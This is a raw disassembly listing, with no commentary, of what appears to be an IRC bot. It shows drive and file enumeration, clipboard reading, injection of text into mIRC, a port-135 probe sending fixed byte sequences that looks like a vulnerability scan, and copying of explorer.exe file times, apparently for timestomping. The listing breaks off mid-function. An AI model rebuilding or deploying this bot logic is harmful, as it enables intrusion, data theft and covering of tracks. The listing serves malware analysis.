arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4DD3D4
push 0
push edi
call sub_417700
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_41118E: ; CODE XREF: sub_411169+5Bj
; sub_411169+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41A4A0
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41A430
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_4111CC
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_41118E
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_41118E
; ---------------------------------------------------------------------------
loc_4111CC: ; CODE XREF: sub_411169+4Bj
mov eax, edi
jmp short loc_4111D5
; ---------------------------------------------------------------------------
loc_4111D0: ; CODE XREF: sub_411169+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_4111D5: ; CODE XREF: sub_411169+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_4111D0
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_411169 endp
; =============== S U B R O U T I N E =======================================
sub_4111E7 proc near ; CODE XREF: sub_41139C+51p
; sub_41139C+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4D66C8 ; GetDriveTypeA
sub eax, 0
jz short loc_41122A
dec eax
jz short loc_411224
dec eax
dec eax
jz short loc_41121E
dec eax
jz short loc_411218
dec eax
jz short loc_411212
dec eax
jz short loc_41120C
mov eax, offset a? ; "?"
retn
; ---------------------------------------------------------------------------
loc_41120C: ; CODE XREF: sub_4111E7+1Dj
mov eax, offset off_4431E8
retn
; ---------------------------------------------------------------------------
loc_411212: ; CODE XREF: sub_4111E7+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_411218: ; CODE XREF: sub_4111E7+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_41121E: ; CODE XREF: sub_4111E7+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_411224: ; CODE XREF: sub_4111E7+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_41122A: ; CODE XREF: sub_4111E7+Dj
mov eax, offset aUnknown_0 ; "Unknown"
retn
sub_4111E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411230 proc near ; CODE XREF: sub_411278+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4D6558
test eax, eax
jz short loc_411265
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_411265: ; CODE XREF: sub_411230+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_411230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411278 proc near ; CODE XREF: sub_41139C+17p
; sub_4147AC+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_411230
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_411352
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_411352
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_411352
mov edi, 400h
push 0
push edi
push [ebp+var_14]
push [ebp+var_18]
call sub_41A520
push edx
push eax
call sub_411169
push eax
mov esi, 80h
push offset aSkb ; "%sKB"
lea eax, [ebp+var_198]
push esi
push eax
call sub_417E80
add esp, 18h
push 0
push edi
push [ebp+var_C]
push [ebp+var_10]
call sub_41A520
push edx
push eax
call sub_411169
push eax
push offset aSkb_0 ; "%sKB"
lea eax, [ebp+var_118]
push esi
push eax
call sub_417E80
add esp, 18h
push 0
push edi
push [ebp+var_4]
push [ebp+var_8]
call sub_41A520
push edx
push eax
call sub_411169
push eax
push offset aSkb_1 ; "%sKB"
lea eax, [ebp+var_98]
push esi
push eax
call sub_417E80
jmp short loc_411385
; ---------------------------------------------------------------------------
loc_411352: ; CODE XREF: sub_411278+2Cj
; sub_411278+3Bj ...
lea eax, [ebp+var_198]
push offset aFailed ; "failed"
push eax
call sub_417CB0
lea eax, [ebp+var_118]
push offset aFailed_0 ; "failed"
push eax
call sub_417CB0
lea eax, [ebp+var_98]
push offset aFailed_1 ; "failed"
push eax
call sub_417CB0
loc_411385: ; CODE XREF: sub_411278+D8j
mov eax, [ebp+arg_0]
add esp, 18h
lea esi, [ebp+var_198]
mov edi, eax
push 60h
pop ecx
rep movsd
pop edi
pop esi
leave
retn
sub_411278 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41139C proc near ; CODE XREF: sub_41146E+17p
; sub_41146E+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_411278
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed_2 ; "failed"
rep movsd
push eax
call sub_418A30
add esp, 10h
test eax, eax
jnz short loc_41140F
push ebx
push ebx
call sub_4111E7
pop ecx
push eax
push offset unk_44324C
lea eax, [ebp+var_500]
push 200h
push eax
call sub_417E80
add esp, 14h
jmp short loc_411443
; ---------------------------------------------------------------------------
loc_41140F: ; CODE XREF: sub_41139C+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_4111E7
pop ecx
push eax
push offset unk_443288
lea eax, [ebp+var_500]
push 200h
push eax
call sub_417E80
add esp, 20h
loc_411443: ; CODE XREF: sub_41139C+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
lea eax, [ebp+var_500]
push eax
call sub_40F927
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_41139C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41146E proc near ; CODE XREF: sub_401C87+2016p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_41148F
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41139C
add esp, 10h
jmp short loc_4114EE
; ---------------------------------------------------------------------------
loc_41148F: ; CODE XREF: sub_41146E+9j
push esi
push edi
push ebx
push ebx
call dword_4D65D0 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_415090
pop ecx
mov edi, eax
push edi
push esi
call dword_4D65D0 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_4114E5
loc_4114B3: ; CODE XREF: sub_41146E+75j
push offset aA_2 ; "A:\\"
push esi
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_4114D6
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41139C
add esp, 10h
loc_4114D6: ; CODE XREF: sub_41146E+54j
push esi
call sub_414EC0
lea esi, [esi+eax+1]
pop ecx
cmp [esi], bl
jnz short loc_4114B3
loc_4114E5: ; CODE XREF: sub_41146E+43j
push edi
call sub_415C20
pop ecx
pop edi
pop esi
loc_4114EE: ; CODE XREF: sub_41146E+1Fj
pop ebx
pop ebp
retn
sub_41146E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4114F1 proc near ; DATA XREF: sub_401C87+5100o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_414EC0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_411546
lea eax, [ebp+var_114]
push eax
call sub_414EC0
pop ecx
mov [ebp+eax+var_115], bl
loc_411546: ; CODE XREF: sub_4114F1+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_4432C8
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_417E80
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_41158B
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40764A
add esp, 14h
loc_41158B: ; CODE XREF: sub_4114F1+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_411609
push eax
lea eax, [ebp+var_49C]
push offset dword_4432F0
push eax
call sub_417CB0
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_4115E9
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_40764A
add esp, 14h
loc_4115E9: ; CODE XREF: sub_4114F1+D6j
lea eax, [ebp+var_49C]
push eax
call sub_40F927
push [ebp+var_10]
call sub_409979
pop ecx
pop ecx
push ebx
call dword_4E03A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_4114F1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411609 proc near ; CODE XREF: sub_4114F1+B9p
; sub_411609+9Cp
var_548 = byte ptr -548h
var_348 = byte ptr -348h
var_244 = byte ptr -244h
var_140 = byte ptr -140h
var_114 = byte ptr -114h
var_113 = byte ptr -113h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 548h
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_244]
push offset dword_443310
push esi
push eax
call sub_417E80
mov edi, dword_4E03EC
add esp, 10h
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_244]
push eax
call edi ; FindFirstFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_4116C2
loc_41164F: ; CODE XREF: sub_411609+B7j
test [ebp+var_140], 10h
jz short loc_4116B0
cmp [ebp+var_114], 2Eh
jnz short loc_411673
cmp [ebp+var_113], 0
jz short loc_4116B0
cmp [ebp+var_113], 2Eh
jz short loc_4116B0
loc_411673: ; CODE XREF: sub_411609+56j
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_348]
push [ebp+arg_10]
push offset dword_443318
push esi
push eax
call sub_417E80
push [ebp+arg_14]
lea eax, [ebp+var_348]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_411609
add esp, 2Ch
mov [ebp+arg_14], eax
loc_4116B0: ; CODE XREF: sub_411609+4Dj
; sub_411609+5Fj ...
lea eax, [ebp+var_140]
push eax
push ebx
call dword_4E03E8 ; FindNextFileA
test eax, eax
jnz short loc_41164F
loc_4116C2: ; CODE XREF: sub_411609+44j
push ebx
mov ebx, dword_4E03DC
call ebx ; FindClose
push [ebp+arg_C]
lea eax, [ebp+var_244]
push [ebp+arg_10]
push offset dword_443320
push esi
push eax
call sub_417E80
add esp, 14h
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_244]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41174C
loc_4116FD: ; CODE XREF: sub_411609+141j
lea eax, [ebp+var_114]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_548]
push [ebp+arg_10]
push offset dword_443328
push 200h
push eax
call sub_417E80
push 1
lea eax, [ebp+var_548]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 28h
lea eax, [ebp+var_140]
push eax
push esi
call dword_4E03E8 ; FindNextFileA
test eax, eax
jnz short loc_4116FD
loc_41174C: ; CODE XREF: sub_411609+F2j
push esi
call ebx ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_411609 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411757 proc near ; CODE XREF: sub_41178F+125p
; sub_41178F+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_411785
loc_411768: ; CODE XREF: sub_411757+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41A5D0
add esp, 0Ch
test eax, eax
jz short loc_41178B
inc esi
cmp esi, edi
jl short loc_411768
loc_411785: ; CODE XREF: sub_411757+Fj
xor al, al
loc_411787: ; CODE XREF: sub_411757+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41178B: ; CODE XREF: sub_411757+27j
mov al, 1
jmp short loc_411787
sub_411757 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41178F proc near ; CODE XREF: sub_40C16C+16p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_4181D0
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_4117D0
dec eax
jz short loc_4117AE
dec eax
loc_4117A8: ; CODE XREF: sub_41178F+57j
xor eax, eax
loc_4117AA: ; CODE XREF: sub_41178F+3Fj
; sub_41178F+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4117AE: ; CODE XREF: sub_41178F+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4D66A8 ; inet_addr
push eax
call sub_40A5E3
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_4117AA
; ---------------------------------------------------------------------------
loc_4117D0: ; CODE XREF: sub_41178F+13j
push 6
push 1
push 2
call dword_4D66E8 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_4117A8
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4D6668 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_408766
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4D6610 ; connect
cmp eax, edi
jz loc_4118EC
push ebx
push 48h
push offset dword_443348
push esi
call dword_4D66B8 ; send
cmp eax, edi
jz loc_4118EC
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4D6680 ; recv
cmp eax, edi
jz loc_4118EC
cmp [ebp+var_200E], 0Ch
jnz short loc_4118EC
push ebx
push 18h
push offset dword_443394
push [ebp+arg_4]
call dword_4D66B8 ; send
cmp eax, edi
jz short loc_4118EC
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4D6680 ; recv
mov esi, eax
cmp esi, edi
jz short loc_4118EC
cmp [ebp+var_200E], 2
jnz short loc_4118EC
push 10h
push offset loc_4433B0
lea eax, [ebp+var_2010]
push esi
push eax
call sub_411757
add esp, 10h
test al, al
jz short loc_4118CC
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_4118EC
; ---------------------------------------------------------------------------
loc_4118CC: ; CODE XREF: sub_41178F+12Fj
push 10h
push offset dword_4433C4
lea eax, [ebp+var_2010]
push esi
push eax
call sub_411757
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_4118EC: ; CODE XREF: sub_41178F+9Bj
; sub_41178F+B2j ...
push [ebp+arg_4]
call dword_4D6700 ; closesocket
mov eax, ebx
pop ebx
jmp loc_4117AA
sub_41178F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4118FD proc near ; CODE XREF: sub_401C87+BB6p
; sub_401C87+BE7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_411988
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_411988
cmp [ebp+arg_8], esi
jz short loc_411988
cmp byte ptr [eax], 0
jz short loc_411988
push ebx
push edi
call sub_433AD0
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_411983
push [ebp+arg_4]
push edi
call sub_417E00
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_41197C
sub eax, edi
push eax
push edi
push ebx
call sub_417760
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_414EC0
push eax
push [ebp+arg_8]
push ebx
call sub_419200
push [ebp+arg_4]
call sub_414EC0
add eax, esi
push eax
push ebx
call sub_418880
push ebx
push edi
call sub_418870
add esp, 30h
mov esi, edi
loc_41197C: ; CODE XREF: sub_4118FD+3Cj
push ebx
call sub_415C20
pop ecx
loc_411983: ; CODE XREF: sub_4118FD+2Bj
mov eax, esi
pop ebx
jmp short loc_41198A
; ---------------------------------------------------------------------------
loc_411988: ; CODE XREF: sub_4118FD+Cj
; sub_4118FD+13j ...
xor eax, eax
loc_41198A: ; CODE XREF: sub_4118FD+89j
pop edi
pop esi
pop ebp
retn
sub_4118FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41198E proc near ; CODE XREF: sub_401B0B+E9p
; sub_40E91A+F4p
var_7D0 = dword ptr -7D0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
xor ebx, ebx
push 7D0h
lea eax, [ebp+var_7D0]
push ebx
push eax
call sub_417700
mov esi, [ebp+arg_0]
push esi
call sub_414EC0
xor edi, edi
add esp, 10h
inc edi
cmp eax, edi
jge short loc_4119C6
or eax, 0FFFFFFFFh
jmp short loc_411A2D
; ---------------------------------------------------------------------------
loc_4119C6: ; CODE XREF: sub_41198E+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_7D0], esi
jle short loc_4119E7
loc_4119D2: ; CODE XREF: sub_41198E+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_4119DF
cmp dl, 0Dh
jnz short loc_4119E2
loc_4119DF: ; CODE XREF: sub_41198E+4Aj
mov [ecx+esi], bl
loc_4119E2: ; CODE XREF: sub_41198E+4Fj
inc ecx
cmp ecx, eax
jl short loc_4119D2
loc_4119E7: ; CODE XREF: sub_41198E+42j
xor edx, edx
cmp eax, ebx
jle short loc_411A0F
loc_4119ED: ; CODE XREF: sub_41198E+7Fj
cmp [edx+esi], bl
jnz short loc_411A0A
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_411A0A
cmp edi, 1F4h
jge short loc_411A0F
mov [ebp+edi*4+var_7D0], ecx
inc edi
loc_411A0A: ; CODE XREF: sub_41198E+62j
; sub_41198E+6Aj
inc edx
cmp edx, eax
jl short loc_4119ED
loc_411A0F: ; CODE XREF: sub_41198E+5Dj
; sub_41198E+72j
cmp [ebp+arg_4], ebx
jz short loc_411A2B
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_419330
add esp, 0Ch
loc_411A2B: ; CODE XREF: sub_41198E+84j
mov eax, edi
loc_411A2D: ; CODE XREF: sub_41198E+36j
pop edi
pop esi
pop ebx
leave
retn
sub_41198E endp
; =============== S U B R O U T I N E =======================================
sub_411A32 proc near ; CODE XREF: sub_411A8C+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_411A6B
push ebx
mov ebx, edi
loc_411A4F: ; CODE XREF: sub_411A32+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_411A6E
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_411A4F
pop ebx
loc_411A6B: ; CODE XREF: sub_411A32+18j
pop edi
pop esi
retn
sub_411A32 endp
; =============== S U B R O U T I N E =======================================
sub_411A6E proc near ; CODE XREF: sub_411A32+25p
; sub_411A8C+69p
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41A690
cmp al, 61h
pop ecx
jl short loc_411A89
cmp al, 7Ah
jg short loc_411A89
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_411A89: ; CODE XREF: sub_411A6E+Ej
; sub_411A6E+12j
xor eax, eax
retn
sub_411A6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A8C proc near ; CODE XREF: .data:0040FA30p
; sub_40FAA5+10p ...
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_4181D0
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_414EC0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_414EC0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_411A32
add esp, 14h
dec esi
mov edi, esi
jmp short loc_411B3E
; ---------------------------------------------------------------------------
loc_411ACC: ; CODE XREF: sub_411A8C+B4j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41A690
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41A690
pop ecx
cmp eax, ebx
pop ecx
jz short loc_411B3C
loc_411AEE: ; CODE XREF: sub_411A8C+AEj
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_411A6E
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_411B0F
mov eax, ecx
loc_411B0F: ; CODE XREF: sub_411A8C+7Fj
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_411B4C
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41A690
movsx ecx, byte ptr [edi+ebx]
push ecx
mov [ebp+var_8], eax
call sub_41A690
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_411AEE
loc_411B3C: ; CODE XREF: sub_411A8C+60j
dec edi
dec esi
loc_411B3E: ; CODE XREF: sub_411A8C+3Ej
test esi, esi
jg short loc_411ACC
mov eax, [ebp+arg_0]
add eax, edi
loc_411B47: ; CODE XREF: sub_411A8C+C2j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_411B4C: ; CODE XREF: sub_411A8C+88j
xor eax, eax
jmp short loc_411B47
sub_411A8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411B50 proc near ; CODE XREF: sub_401C87+378Bp
; sub_401C87+502Bp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_4E0350 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_4E02CC ; FormatMessageA
lea eax, [ebp+var_100]
loc_411B89: ; CODE XREF: sub_411B50+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_411B95
cmp cl, 9
jnz short loc_411B98
loc_411B95: ; CODE XREF: sub_411B50+3Ej
inc eax
jmp short loc_411B89
; ---------------------------------------------------------------------------
loc_411B98: ; CODE XREF: sub_411B50+43j
; sub_411B50+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_411BB2
mov cl, [eax]
cmp cl, 2Eh
jz short loc_411B98
cmp cl, 21h
jl short loc_411B98
loc_411BB2: ; CODE XREF: sub_411B50+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DD408
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_417E80
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_411B50 endp
; =============== S U B R O U T I N E =======================================
sub_411BDA proc near ; CODE XREF: sub_401C87+1F8Dp
push esi
push 0
call dword_4D6638 ; OpenClipboard
test eax, eax
jz short loc_411C11
push 1
call dword_4D6658 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_411C11
push edi
push esi
call dword_4E0404 ; GlobalLock
push esi
mov edi, eax
call dword_4E0400 ; GlobalUnlock
call dword_4D66BC ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_411C11: ; CODE XREF: sub_411BDA+Bj
; sub_411BDA+19j
xor eax, eax
pop esi
retn
sub_411BDA endp
; =============== S U B R O U T I N E =======================================
sub_411C15 proc near ; CODE XREF: sub_401C87+3527p
arg_0 = dword ptr 4
push ebp
push esi
xor esi, esi
push esi
push offset aMirc_2 ; "mIRC"
call dword_4D6674 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_411C95
push ebx
push edi
push offset aMirc_3 ; "mIRC"
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_4E0410 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_4E040C ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_417CB0
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4D66C4 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4D66C4 ; SendMessageA
push ebx
call dword_4E0408 ; UnmapViewOfFile
push edi
call dword_4E032C ; CloseHandle
xor eax, eax
pop edi
inc eax
pop ebx
jmp short loc_411C97
; ---------------------------------------------------------------------------
loc_411C95: ; CODE XREF: sub_411C15+14j
xor eax, eax
loc_411C97: ; CODE XREF: sub_411C15+7Ej
pop esi
pop ebp
retn
sub_411C15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411C9A proc near ; CODE XREF: sub_401404+200p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4D6720 ; SearchPathA
test eax, eax
jz short loc_411D39
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4E03D8
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_411D39
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_4E0418 ; GetFileTime
push ebx
mov ebx, dword_4E032C
call ebx ; CloseHandle
push 0
push edi
